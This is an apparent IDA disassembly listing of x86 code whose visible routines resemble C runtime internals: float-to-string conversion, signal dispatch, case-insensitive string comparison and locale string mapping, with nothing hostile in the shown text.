ecx pop ecx jmp loc_41EE2C ; --------------------------------------------------------------------------- loc_41ECC0: ; CODE XREF: sub_41EBD1+BFj ; sub_41EBD1+CAj ... push offset a1Qnan ; "1#QNAN" loc_41ECC5: ; CODE XREF: sub_41EBD1+ACj lea eax, [ebx+4] push eax call sub_419A70 mov byte ptr [ebx+3], 6 jmp short loc_41ECB5 ; --------------------------------------------------------------------------- loc_41ECD4: ; CODE XREF: sub_41EBD1+89j movzx eax, dx mov esi, eax imul eax, 4D10h and [ebp+var_18], 0 mov ecx, edi shr ecx, 18h shr esi, 8 lea ecx, [esi+ecx*2] imul ecx, 4Dh lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] mov [ebp+var_16], eax sar esi, 10h movsx eax, si neg eax push 1 push eax lea eax, [ebp+var_18] push eax mov [ebp+var_E], dx mov [ebp+var_12], edi call sub_41F30B add esp, 0Ch cmp [ebp+var_E], 3FFFh jb short loc_41ED35 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18] push eax inc esi call sub_41F0D3 pop ecx pop ecx loc_41ED35: ; CODE XREF: sub_41EBD1+152j test [ebp+arg_10], 1 mov edi, [ebp+arg_C] mov [ebx], si jz short loc_41ED53 movsx eax, si add edi, eax test edi, edi jg short loc_41ED53 loc_41ED4A: ; CODE XREF: sub_41EBD1+80j mov byte ptr [ebx+4], 30h jmp loc_41EE50 ; --------------------------------------------------------------------------- loc_41ED53: ; CODE XREF: sub_41EBD1+16Ej ; sub_41EBD1+177j cmp edi, 15h jle short loc_41ED5B push 15h pop edi loc_41ED5B: ; CODE XREF: sub_41EBD1+185j movzx esi, [ebp+var_E] sub esi, 3FFEh and [ebp+var_E], 0 mov [ebp+arg_8], 8 loc_41ED71: ; CODE XREF: sub_41EBD1+1ADj lea eax, [ebp+var_18] push eax call sub_41E658 dec [ebp+arg_8] pop ecx jnz short loc_41ED71 test esi, esi jge short loc_41ED9B neg esi and esi, 0FFh jle short loc_41ED9B loc_41ED8E: ; CODE XREF: sub_41EBD1+1C8j lea eax, [ebp+var_18] push eax call sub_41E686 dec esi pop ecx jnz short loc_41ED8E loc_41ED9B: ; CODE XREF: sub_41EBD1+1B1j ; sub_41EBD1+1BBj lea ecx, [edi+1] test ecx, ecx lea eax, [ebx+4] mov [ebp+arg_8], eax jle short loc_41EDF8 mov [ebp+var_C], ecx loc_41EDAB: ; CODE XREF: sub_41EBD1+222j lea esi, [ebp+var_18] lea edi, [ebp+var_30] movsd movsd lea eax, [ebp+var_18] push eax movsd call sub_41E658 lea eax, [ebp+var_18] push eax call sub_41E658 lea eax, [ebp+var_30] push eax lea eax, [ebp+var_18] push eax call sub_41E5FA lea eax, [ebp+var_18] push eax call sub_41E658 mov al, byte ptr [ebp+var_E+1] mov ecx, [ebp+arg_8] and byte ptr [ebp+var_E+1], 0 add al, 30h add esp, 14h inc [ebp+arg_8] dec [ebp+var_C] mov [ecx], al jnz short loc_41EDAB mov eax, [ebp+arg_8] loc_41EDF8: ; CODE XREF: sub_41EBD1+1D5j dec eax mov cl, [eax] dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_41EE45 jmp short loc_41EE0F ; --------------------------------------------------------------------------- loc_41EE06: ; CODE XREF: sub_41EBD1+240j cmp byte ptr [eax], 39h jnz short loc_41EE13 mov byte ptr [eax], 30h dec eax loc_41EE0F: ; CODE XREF: sub_41EBD1+233j cmp eax, ecx jnb short loc_41EE06 loc_41EE13: ; CODE XREF: sub_41EBD1+238j cmp eax, ecx jnb short loc_41EE1B inc eax inc word ptr [ebx] loc_41EE1B: ; CODE XREF: sub_41EBD1+244j inc byte ptr [eax] loc_41EE1D: ; CODE XREF: sub_41EBD1+27Aj sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_41EE2C: ; CODE XREF: sub_41EBD1+EAj mov eax, [ebp+var_8] loc_41EE2F: ; CODE XREF: sub_41EBD1+292j mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop edi pop esi pop ebx call sub_41A026 leave retn ; --------------------------------------------------------------------------- loc_41EE3F: ; CODE XREF: sub_41EBD1+276j cmp byte ptr [eax], 30h jnz short loc_41EE49 dec eax loc_41EE45: ; CODE XREF: sub_41EBD1+231j cmp eax, ecx jnb short loc_41EE3F loc_41EE49: ; CODE XREF: sub_41EBD1+271j cmp eax, ecx jnb short loc_41EE1D mov byte ptr [ecx], 30h loc_41EE50: ; CODE XREF: sub_41EBD1+17Dj and word ptr [ebx], 0 and byte ptr [ebx+5], 0 xor eax, eax mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 inc eax jmp short loc_41EE2F sub_41EBD1 endp ; =============== S U B R O U T I N E ======================================= sub_41EE65 proc near ; CODE XREF: sub_41EE93+72p mov ecx, dword_42E0DC mov eax, edx push edi loc_41EE6E: ; CODE XREF: sub_41EE65+19j cmp [eax+4], esi jz short loc_41EE80 lea edi, [ecx+ecx*2] add eax, 0Ch lea edi, [edx+edi*4] cmp eax, edi jb short loc_41EE6E loc_41EE80: ; CODE XREF: sub_41EE65+Cj lea ecx, [ecx+ecx*2] lea ecx, [edx+ecx*4] cmp eax, ecx pop edi jnb short loc_41EE90 cmp [eax+4], esi jz short locret_41EE92 loc_41EE90: ; CODE XREF: sub_41EE65+24j xor eax, eax locret_41EE92: ; CODE XREF: sub_41EE65+29j retn sub_41EE65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE93 proc near ; CODE XREF: sub_41A89F+395Fp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041EFDB SIZE 00000031 BYTES push 20h push offset stru_429D40 call __SEH_prolog xor ecx, ecx mov [ebp+var_1C], ecx mov eax, [ebp+arg_0] dec eax dec eax jz short loc_41EF15 dec eax dec eax jz short loc_41EEF5 sub eax, 4 jz short loc_41EEF5 sub eax, 3 jz short loc_41EEF5 sub eax, 4 jz short loc_41EEE8 sub eax, 6 jz short loc_41EEDB dec eax jz short loc_41EECE or eax, 0FFFFFFFFh jmp loc_41F006 ; --------------------------------------------------------------------------- loc_41EECE: ; CODE XREF: sub_41EE93+31j mov esi, offset dword_47C60C mov edi, dword_47C60C jmp short loc_41EF20 ; --------------------------------------------------------------------------- loc_41EEDB: ; CODE XREF: sub_41EE93+2Ej mov esi, offset dword_47C608 mov edi, dword_47C608 jmp short loc_41EF20 ; --------------------------------------------------------------------------- loc_41EEE8: ; CODE XREF: sub_41EE93+29j mov esi, offset dword_47C610 mov edi, dword_47C610 jmp short loc_41EF20 ; --------------------------------------------------------------------------- loc_41EEF5: ; CODE XREF: sub_41EE93+1Aj ; sub_41EE93+1Fj ... call sub_416C45 mov ebx, eax mov [ebp+var_24], ebx mov edx, [ebx+54h] mov esi, [ebp+arg_0] call sub_41EE65 mov esi, eax add esi, 8 mov edi, [esi] xor ecx, ecx jmp short loc_41EF2A ; --------------------------------------------------------------------------- loc_41EF15: ; CODE XREF: sub_41EE93+16j mov esi, offset dword_47C604 mov edi, dword_47C604 loc_41EF20: ; CODE XREF: sub_41EE93+46j ; sub_41EE93+53j ... mov [ebp+var_1C], 1 mov ebx, [ebp+var_24] loc_41EF2A: ; CODE XREF: sub_41EE93+80j mov [ebp+var_20], edi cmp edi, 1 jz loc_41F004 cmp edi, ecx jnz short loc_41EF41 push 3 call sub_415ED4 loc_41EF41: ; CODE XREF: sub_41EE93+A5j cmp [ebp+var_1C], ecx jz short loc_41EF4F push ecx call sub_4180B5 pop ecx xor ecx, ecx loc_41EF4F: ; CODE XREF: sub_41EE93+B1j mov [ebp+ms_exc.disabled], ecx mov eax, [ebp+arg_0] cmp eax, 8 jz short loc_41EF64 cmp eax, 0Bh jz short loc_41EF64 cmp eax, 4 jnz short loc_41EF7F loc_41EF64: ; CODE XREF: sub_41EE93+C5j ; sub_41EE93+CAj mov edx, [ebx+58h] mov [ebp+var_28], edx mov [ebx+58h], ecx cmp eax, 8 jnz short loc_41EFAB mov edx, [ebx+5Ch] mov [ebp+var_2C], edx mov dword ptr [ebx+5Ch], 8Ch loc_41EF7F: ; CODE XREF: sub_41EE93+CFj cmp eax, 8 jnz short loc_41EFAB mov eax, dword_42E0D0 loc_41EF89: ; CODE XREF: sub_41EE93+116j mov [ebp+var_30], eax mov edx, dword_42E0D4 mov esi, dword_42E0D0 add edx, esi cmp eax, edx jge short loc_41EFAD lea edx, [eax+eax*2] mov esi, [ebx+54h] mov [esi+edx*4+8], ecx inc eax jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EFAB: ; CODE XREF: sub_41EE93+DDj ; sub_41EE93+EFj mov [esi], ecx loc_41EFAD: ; CODE XREF: sub_41EE93+109j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41EFCE cmp [ebp+arg_0], 8 jnz short loc_41EFDB push dword ptr [ebx+5Ch] push 8 call edi pop ecx jmp short loc_41EFE0 sub_41EE93 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41EFC6 proc near ; DATA XREF: .rdata:stru_429D40o mov edi, [ebp-20h] mov ebx, [ebp-24h] xor ecx, ecx sub_41EFC6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41EFCE proc near ; CODE XREF: sub_41EE93+11Ep cmp [ebp-1Ch], ecx jz short locret_41EFDA push ecx call sub_418021 pop ecx locret_41EFDA: ; CODE XREF: sub_41EFCE+3j retn sub_41EFCE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41EE93 loc_41EFDB: ; CODE XREF: sub_41EE93+127j push [ebp+arg_0] call edi loc_41EFE0: ; CODE XREF: sub_41EE93+131j pop ecx mov eax, [ebp+arg_0] cmp eax, 8 jz short loc_41EFF3 cmp eax, 0Bh jz short loc_41EFF3 cmp eax, 4 jnz short loc_41F004 loc_41EFF3: ; CODE XREF: sub_41EE93+154j ; sub_41EE93+159j mov ecx, [ebp+var_28] mov [ebx+58h], ecx cmp eax, 8 jnz short loc_41F004 mov eax, [ebp+var_2C] mov [ebx+5Ch], eax loc_41F004: ; CODE XREF: sub_41EE93+9Dj ; sub_41EE93+15Ej ... xor eax, eax loc_41F006: ; CODE XREF: sub_41EE93+36j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41EE93 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+10h] or ecx, ecx jz short loc_41F06A mov esi, [ebp+8] mov edi, [ebp+0Ch] mov bh, 41h mov bl, 5Ah mov dh, 20h lea ecx, [ecx+0] loc_41F02C: ; CODE XREF: .text:0041F059j mov ah, [esi] or ah, ah mov al, [edi] jz short loc_41F05B or al, al jz short loc_41F05B add esi, 1 add edi, 1 cmp ah, bh jb short loc_41F048 cmp ah, bl ja short loc_41F048 add ah, dh loc_41F048: ; CODE XREF: .text:0041F040j ; .text:0041F044j cmp al, bh jb short loc_41F052 cmp al, bl ja short loc_41F052 add al, dh loc_41F052: ; CODE XREF: .text:0041F04Aj ; .text:0041F04Ej cmp ah, al jnz short loc_41F061 sub ecx, 1 jnz short loc_41F02C loc_41F05B: ; CODE XREF: .text:0041F032j ; .text:0041F036j xor ecx, ecx cmp ah, al jz short loc_41F06A loc_41F061: ; CODE XREF: .text:0041F054j mov ecx, 0FFFFFFFFh jb short loc_41F06A neg ecx loc_41F06A: ; CODE XREF: .text:0041F01Bj ; .text:0041F05Fj ... mov eax, ecx pop ebx pop esi pop edi leave retn ; =============== S U B R O U T I N E ======================================= sub_41F071 proc near ; CODE XREF: sub_41E49E+73p ; sub_41E49E+C4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_47C640[ecx*4] lea eax, [eax+eax*8] lea edx, [ecx+eax*4+4] mov cl, [edx] xor eax, eax mov al, cl push esi mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_41F0A7 and cl, 7Fh jmp short loc_41F0B4 ; --------------------------------------------------------------------------- loc_41F0A7: ; CODE XREF: sub_41F071+2Fj cmp [esp+4+arg_4], 4000h jnz short loc_41F0C3 or cl, 80h loc_41F0B4: ; CODE XREF: sub_41F071+34j neg eax sbb eax, eax and eax, 0FFFFC000h add eax, esi mov [edx], cl pop esi retn ; --------------------------------------------------------------------------- loc_41F0C3: ; CODE XREF: sub_41F071+3Ej call sub_419430 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh pop esi retn sub_41F071 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F0D3 proc near ; CODE XREF: sub_41EBD1+15Dp ; sub_41F30B+6Ep var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 28h mov eax, dword_42DEB8 xor eax, [ebp+4] push ebx mov ebx, [ebp+arg_4] mov [ebp+var_4], eax xor eax, eax xor ecx, ecx mov cx, [ebx+0Ah] push esi mov esi, [ebp+arg_0] mov [ebp+var_18], eax mov [ebp+var_28], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov ax, [esi+0Ah] push edi mov edi, ecx mov edx, 7FFFh and ecx, edx xor edi, eax and eax, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_41F2E0 cmp cx, 7FFFh jnb loc_41F2E0 cmp dx, 0BFFDh ja loc_41F2E0 cmp dx, 3FBFh ja short loc_41F149 xor eax, eax jmp short loc_41F183 ; --------------------------------------------------------------------------- loc_41F149: ; CODE XREF: sub_41F0D3+70j test ax, ax mov edx, 7FFFFFFFh jnz short loc_41F16B inc [ebp+arg_0] xor eax, eax test [esi+8], edx jnz short loc_41F16D cmp [esi+4], eax jnz short loc_41F16D cmp [esi], eax jnz short loc_41F16D jmp loc_41F2DA ; --------------------------------------------------------------------------- loc_41F16B: ; CODE XREF: sub_41F0D3+7Ej xor eax, eax loc_41F16D: ; CODE XREF: sub_41F0D3+88j ; sub_41F0D3+8Dj ... cmp cx, ax jnz short loc_41F190 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_41F190 cmp [ebx+4], eax jnz short loc_41F190 cmp [ebx], eax jnz short loc_41F190 loc_41F183: ; CODE XREF: sub_41F0D3+74j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_41F2FB ; --------------------------------------------------------------------------- loc_41F190: ; CODE XREF: sub_41F0D3+9Dj ; sub_41F0D3+A5j ... mov [ebp+var_14], eax lea eax, [ebp+var_24] mov [ebp+var_8], eax mov [ebp+arg_4], 5 loc_41F1A0: ; CODE XREF: sub_41F0D3+12Fj mov eax, [ebp+var_14] add eax, eax cmp [ebp+arg_4], 0 jle short loc_41F1F4 add eax, esi mov [ebp+var_C], eax mov eax, [ebp+arg_4] lea ecx, [ebx+8] mov [ebp+var_10], ecx mov [ebp+var_1C], eax loc_41F1BC: ; CODE XREF: sub_41F0D3+11Fj mov eax, [ebp+var_10] mov ecx, [ebp+var_C] movzx ecx, word ptr [ecx] movzx eax, word ptr [eax] imul eax, ecx mov ecx, [ebp+var_8] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_41E5D9 add esp, 0Ch test eax, eax jz short loc_41F1E7 mov eax, [ebp+var_8] inc word ptr [eax] loc_41F1E7: ; CODE XREF: sub_41F0D3+10Cj add [ebp+var_C], 2 sub [ebp+var_10], 2 dec [ebp+var_1C] jnz short loc_41F1BC loc_41F1F4: ; CODE XREF: sub_41F0D3+D6j add [ebp+var_8], 2 inc [ebp+var_14] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_41F1A0 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_41F237 loc_41F212: ; CODE XREF: sub_41F0D3+15Bj test byte ptr [ebp+var_20+3], 80h jnz short loc_41F230 lea eax, [ebp+var_28] push eax call sub_41E658 add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 pop ecx jg short loc_41F212 loc_41F230: ; CODE XREF: sub_41F0D3+143j cmp word ptr [ebp+arg_0], 0 jg short loc_41F270 loc_41F237: ; CODE XREF: sub_41F0D3+13Dj add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_41F270 mov eax, [ebp+arg_0] neg eax movzx ebx, ax add [ebp+arg_0], ebx loc_41F250: ; CODE XREF: sub_41F0D3+191j test byte ptr [ebp+var_28], 1 jz short loc_41F259 inc [ebp+var_18] loc_41F259: ; CODE XREF: sub_41F0D3+181j lea eax, [ebp+var_28] push eax call sub_41E686 dec ebx pop ecx jnz short loc_41F250 cmp [ebp+var_18], 0 jz short loc_41F270 or byte ptr [ebp+var_28], 1 loc_41F270: ; CODE XREF: sub_41F0D3+162j ; sub_41F0D3+170j ... cmp word ptr [ebp+var_28], 8000h ja short loc_41F287 mov eax, [ebp+var_28] and eax, 1FFFFh cmp eax, 18000h jnz short loc_41F2BC loc_41F287: ; CODE XREF: sub_41F0D3+1A3j cmp [ebp+var_28+2], 0FFFFFFFFh jnz short loc_41F2B9 and [ebp+var_28+2], 0 cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_41F2B4 and [ebp+var_24+2], 0 cmp word ptr [ebp+var_20+2], 0FFFFh jnz short loc_41F2AE inc [ebp+arg_0] mov word ptr [ebp+var_20+2], 8000h jmp short loc_41F2BC ; --------------------------------------------------------------------------- loc_41F2AE: ; CODE XREF: sub_41F0D3+1CEj inc word ptr [ebp+var_20+2] jmp short loc_41F2BC ; --------------------------------------------------------------------------- loc_41F2B4: ; CODE XREF: sub_41F0D3+1C2j inc [ebp+var_24+2] jmp short loc_41F2BC ; --------------------------------------------------------------------------- loc_41F2B9: ; CODE XREF: sub_41F0D3+1B8j inc [ebp+var_28+2] loc_41F2BC: ; CODE XREF: sub_41F0D3+1B2j ; sub_41F0D3+1D9j ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_41F2E0 mov cx, word ptr [ebp+var_28+2] mov [esi], cx mov ecx, [ebp+var_24] mov [esi+2], ecx mov ecx, [ebp+var_20] mov [esi+6], ecx or eax, edi loc_41F2DA: ; CODE XREF: sub_41F0D3+93j mov [esi+0Ah], ax jmp short loc_41F2FB ; --------------------------------------------------------------------------- loc_41F2E0: ; CODE XREF: sub_41F0D3+4Fj ; sub_41F0D3+5Aj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_41F2FB: ; CODE XREF: sub_41F0D3+B8j ; sub_41F0D3+20Bj mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop edi pop esi pop ebx call sub_41A026 leave retn sub_41F0D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F30B proc near ; CODE XREF: sub_41E797+39Fp ; sub_41EBD1+144p var_10 = byte ptr -10h var_E = dword ptr -0Eh var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, dword_42DEB8 xor eax, [ebp+4] push ebx mov ebx, offset dword_42E370 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx mov [ebp+var_4], eax jz short loc_41F389 jge short loc_41F339 neg [ebp+arg_4] mov ebx, offset dword_42E4D0 sub ebx, 60h loc_41F339: ; CODE XREF: sub_41F30B+21j cmp [ebp+arg_8], ecx jnz short loc_41F344 mov eax, [ebp+arg_0] mov [eax], cx loc_41F344: ; CODE XREF: sub_41F30B+31j cmp [ebp+arg_4], ecx jz short loc_41F389 push esi push edi loc_41F34B: ; CODE XREF: sub_41F30B+7Aj mov eax, [ebp+arg_4] sar [ebp+arg_4], 3 and eax, 7 add ebx, 54h cmp eax, ecx jz short loc_41F382 lea eax, [eax+eax*2] lea esi, [ebx+eax*4] cmp word ptr [esi], 8000h jb short loc_41F375 lea edi, [ebp+var_10] movsd movsd movsd dec [ebp+var_E] lea esi, [ebp+var_10] loc_41F375: ; CODE XREF: sub_41F30B+5Cj push esi push [ebp+arg_0] call sub_41F0D3 pop ecx pop ecx xor ecx, ecx loc_41F382: ; CODE XREF: sub_41F30B+4Fj cmp [ebp+arg_4], ecx jnz short loc_41F34B pop edi pop esi loc_41F389: ; CODE XREF: sub_41F30B+1Fj ; sub_41F30B+3Cj mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop ebx call sub_41A026 leave retn sub_41F30B endp ; =============== S U B R O U T I N E ======================================= sub_41F397 proc near ; CODE XREF: sub_406650+31p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41F3BE push esi call sub_4177F0 inc eax push eax call sub_414CAD test eax, eax pop ecx pop ecx jz short loc_41F3BE push esi push eax call sub_419A70 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F3BE: ; CODE XREF: sub_41F397+7j ; sub_41F397+1Aj xor eax, eax pop esi retn sub_41F397 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41F3D0 proc near ; CODE XREF: sub_403BFF+14Ap jmp ds:dword_4201F0 sub_41F3D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41F3D6 proc near ; CODE XREF: sub_415473+24p ; sub_4157A0+13p jmp ds:dword_420160 sub_41F3D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F3DC proc near ; CODE XREF: sub_403338+DAp ; sub_403338+F1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx call sub_416C45 mov ecx, [eax+64h] cmp ecx, off_42D84C mov [ebp+var_4], ecx jz short loc_41F3FD call sub_417A7E mov [ebp+var_4], eax mov ecx, eax loc_41F3FD: ; CODE XREF: sub_41F3DC+15j cmp dword ptr [ecx+14h], 0 push ebx jnz short loc_41F442 mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] loc_41F40A: ; CODE XREF: sub_41F3DC+62j xor ebx, ebx mov bx, [ecx] cmp bx, 41h jb short loc_41F41E cmp bx, 5Ah ja short loc_41F41E add ebx, 20h loc_41F41E: ; CODE XREF: sub_41F3DC+37j ; sub_41F3DC+3Dj xor eax, eax mov ax, [edx] cmp ax, 41h jb short loc_41F432 cmp ax, 5Ah ja short loc_41F432 add eax, 20h loc_41F432: ; CODE XREF: sub_41F3DC+4Bj ; sub_41F3DC+51j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_41F47E cmp bx, ax jz short loc_41F40A jmp short loc_41F47E ; --------------------------------------------------------------------------- loc_41F442: ; CODE XREF: sub_41F3DC+26j push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] jmp short loc_41F44F ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F3DC+9Ej mov ecx, [ebp+var_4] loc_41F44F: ; CODE XREF: sub_41F3DC+6Ej xor eax, eax mov ax, [esi] push eax push ecx call sub_41F489 inc esi inc esi mov ebx, eax xor eax, eax mov ax, [edi] push eax push [ebp+var_4] call sub_41F489 add esp, 10h inc edi inc edi test bx, bx jz short loc_41F47C cmp bx, ax jz short loc_41F44C loc_41F47C: ; CODE XREF: sub_41F3DC+99j pop edi pop esi loc_41F47E: ; CODE XREF: sub_41F3DC+5Dj ; sub_41F3DC+64j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx leave retn sub_41F3DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F489 proc near ; CODE XREF: sub_41F3DC+7Ap ; sub_41F3DC+8Cp var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, 0FFFFh cmp word ptr [ebp+arg_4], ax jz short locret_41F4E8 cmp word ptr [ebp+arg_4], 100h push esi mov esi, [ebp+arg_0] jnb short loc_41F4BC push 1 push [ebp+arg_4] push esi call sub_41F743 add esp, 0Ch test eax, eax jnz short loc_41F4BC mov ax, word ptr [ebp+arg_4] jmp short loc_41F4E7 ; --------------------------------------------------------------------------- loc_41F4BC: ; CODE XREF: sub_41F489+19j ; sub_41F489+2Bj push dword ptr [esi+4] lea eax, [ebp+var_4] push 1 push eax push 1 lea eax, [ebp+arg_4] push eax push 100h push dword ptr [esi+14h] call sub_41F4EA add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_4] jz short loc_41F4E7 mov ax, [ebp+var_4] loc_41F4E7: ; CODE XREF: sub_41F489+31j ; sub_41F489+58j pop esi locret_41F4E8: ; CODE XREF: sub_41F489+Dj leave retn sub_41F489 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F4EA proc near ; CODE XREF: sub_41F489+4Ap var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push 24h push offset stru_429D50 call __SEH_prolog xor ebx, ebx xor edi, edi inc edi cmp dword_47C624, ebx jnz short loc_41F538 push ebx push ebx push edi push offset dword_429080 push 100h push ebx call ds:dword_4201A4 ; LCMapStringW test eax, eax jz short loc_41F523 mov dword_47C624, edi jmp short loc_41F538 ; --------------------------------------------------------------------------- loc_41F523: ; CODE XREF: sub_41F4EA+2Fj call ds:dword_420008 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_41F538 mov dword_47C624, 2 loc_41F538: ; CODE XREF: sub_41F4EA+17j ; sub_41F4EA+37j ... cmp [ebp+arg_C], ebx jle short loc_41F55A mov ecx, [ebp+arg_C] mov eax, [ebp+arg_8] loc_41F543: ; CODE XREF: sub_41F4EA+63j dec ecx cmp [eax], bx jz short loc_41F552 inc eax inc eax cmp ecx, ebx jnz short loc_41F543 or ecx, 0FFFFFFFFh loc_41F552: ; CODE XREF: sub_41F4EA+5Dj or eax, 0FFFFFFFFh sub eax, ecx add [ebp+arg_C], eax loc_41F55A: ; CODE XREF: sub_41F4EA+51j mov eax, dword_47C624 cmp eax, edi jnz short loc_41F580 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4201A4 ; LCMapStringW jmp loc_41F73A ; --------------------------------------------------------------------------- loc_41F580: ; CODE XREF: sub_41F4EA+77j cmp eax, 2 jz short loc_41F589 cmp eax, ebx jnz short loc_41F5DD loc_41F589: ; CODE XREF: sub_41F4EA+99j mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_24], ebx cmp [ebp+arg_0], ebx jnz short loc_41F59F mov eax, dword_47C4E0 mov [ebp+arg_0], eax loc_41F59F: ; CODE XREF: sub_41F4EA+ABj cmp [ebp+arg_18], ebx jnz short loc_41F5AC mov eax, dword_47C4F0 mov [ebp+arg_18], eax loc_41F5AC: ; CODE XREF: sub_41F4EA+B8j push [ebp+arg_0] call sub_41DD87 pop ecx cmp [ebp+arg_18], eax jz short loc_41F5C2 cmp eax, 0FFFFFFFFh jz short loc_41F5C2 mov [ebp+arg_18], eax loc_41F5C2: ; CODE XREF: sub_41F4EA+CEj ; sub_41F4EA+D3j push ebx push ebx push ebx push ebx push [ebp+arg_C] push [ebp+arg_8] push ebx push [ebp+arg_18] call ds:dword_4200D8 ; WideCharToMultiByte mov [ebp+var_28], eax cmp eax, ebx jnz short loc_41F5E4 loc_41F5DD: ; CODE XREF: sub_41F4EA+9Dj ; sub_41F4EA+141j xor eax, eax jmp loc_41F73A ; --------------------------------------------------------------------------- loc_41F5E4: ; CODE XREF: sub_41F4EA+F1j mov [ebp+ms_exc.disabled], ebx add eax, 3 and eax, 0FFFFFFFCh call sub_414630 mov [ebp+ms_exc.old_esp], esp mov eax, esp mov [ebp+var_2C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_41F618 ; --------------------------------------------------------------------------- loc_41F600: ; DATA XREF: .rdata:stru_429D50o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41F604: ; DATA XREF: .rdata:stru_429D50o mov esp, [ebp+ms_exc.old_esp] call sub_419B68 xor ebx, ebx mov [ebp+var_2C], ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh xor edi, edi inc edi loc_41F618: ; CODE XREF: sub_41F4EA+114j cmp [ebp+var_2C], ebx jnz short loc_41F630 push [ebp+var_28] call sub_414CAD pop ecx mov [ebp+var_2C], eax cmp eax, ebx jz short loc_41F5DD mov [ebp+var_20], edi loc_41F630: ; CODE XREF: sub_41F4EA+131j push ebx push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_C] push [ebp+arg_8] push ebx push [ebp+arg_18] call ds:dword_4200D8 ; WideCharToMultiByte test eax, eax jz loc_41F71A push ebx push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4201A0 ; LCMapStringA mov esi, eax mov [ebp+var_30], esi cmp esi, ebx jz loc_41F71A 